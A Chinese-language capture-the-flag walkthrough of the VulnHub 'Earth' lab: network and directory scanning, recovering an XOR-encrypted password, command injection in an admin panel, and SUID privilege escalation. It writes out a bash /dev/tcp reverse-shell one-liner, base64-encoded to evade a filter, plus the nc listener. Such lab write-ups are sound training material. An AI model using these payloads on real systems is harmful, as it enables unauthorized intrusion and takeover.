靶场下载地址:https://www.vulnhub.com/entry/the-planets-earth,755/
一、网络枚举
查看本机ip 192.168.78.128
ifconfig
扫描靶机ip
nmap -sP 192.168.78.0/24
靶机ip 192.168.78.132
扫描开放端口
nmap -p- 192.168.78.132
开放了 22 80 443 端口
二、信息收集
访问80端口
访问时出现404
重新扫描开放端口及信息
nmap -p- -sS -sV -A 192.168.78.132
扫描出来发现存在dns解析
修改配置文件
sudo vi /etc/hosts 在里面添加这两行代码
访问这几个地址
访问发现前面三个页面都相同
有一串加密字符,是XOR加密
第四个不同
没有其他可以利用信息
扫描目录
dirb http://earth.local
dirb http://terratest.earth.local
dirb https://terratest.earth.local
发现三个扫描出来都一样
是一个登录界面
继续扫描第四个
dirb https://terratest.earth.local
扫描出来一个robots.txt文件
访问这个文件
发现最下面那个文件没有后缀,尝试使用txt后缀访问一下
发现一段话
翻译出来
测试安全消息系统注意事项:
*使用XOR加密作为算法,应该和RSA中使用的一样安全。
*地球已确认已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球?或者我们应该每周更换一次钥匙?
*需要测试不同的密钥长度以防止暴力破解。钥匙应该多长?
*需要改进消息界面和管理面板的界面,目前还很基础。
得到一个用户名terra
破解上面加密的密文
这里得到一串循环的字符串,大概率就是密码
earthclimatechangebad4humans
回到刚才的登录界面
成功登录
三、发现漏洞
这里是一个可以执行命令是输入框,很有可能存在漏洞
四、漏洞利用
尝试反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.78.128/6666 <&1'
发现无法执行,这里很有可能存在敏感信息过滤,所以换一个方法
echo "bash -i &>/dev/tcp/192.168.78.128/6666 <&1" | base64 执行这个命令得到加密的密文
在本地开启监听
nc -lvvp 6666
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguNzguMTI4LzY2NjYgPCYxCg== | base64 -d | bash
这里是将刚才加密的密文进行解密,在刚才界面去执行这段代码
成功反弹shell
五、提权
find / -perm -u=s -type f 2>/dev/null 查看靶机中有权限的文件
发现一个reset_root文件应该是对root密码的管理
查看一下这个文件
cat /usr/bin/reset_root
发现密码Earth
尝试登录一下
登录失败了
应该是执行的过程中出现了错误
将这个文件传回本机查看
本机开启监听
靶机传回文件
成功拿到
ltrace跟踪库函数调用,发现缺少三个文件
靶机创建这三个文件
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
再重新登录
提权成功
成功拿到flag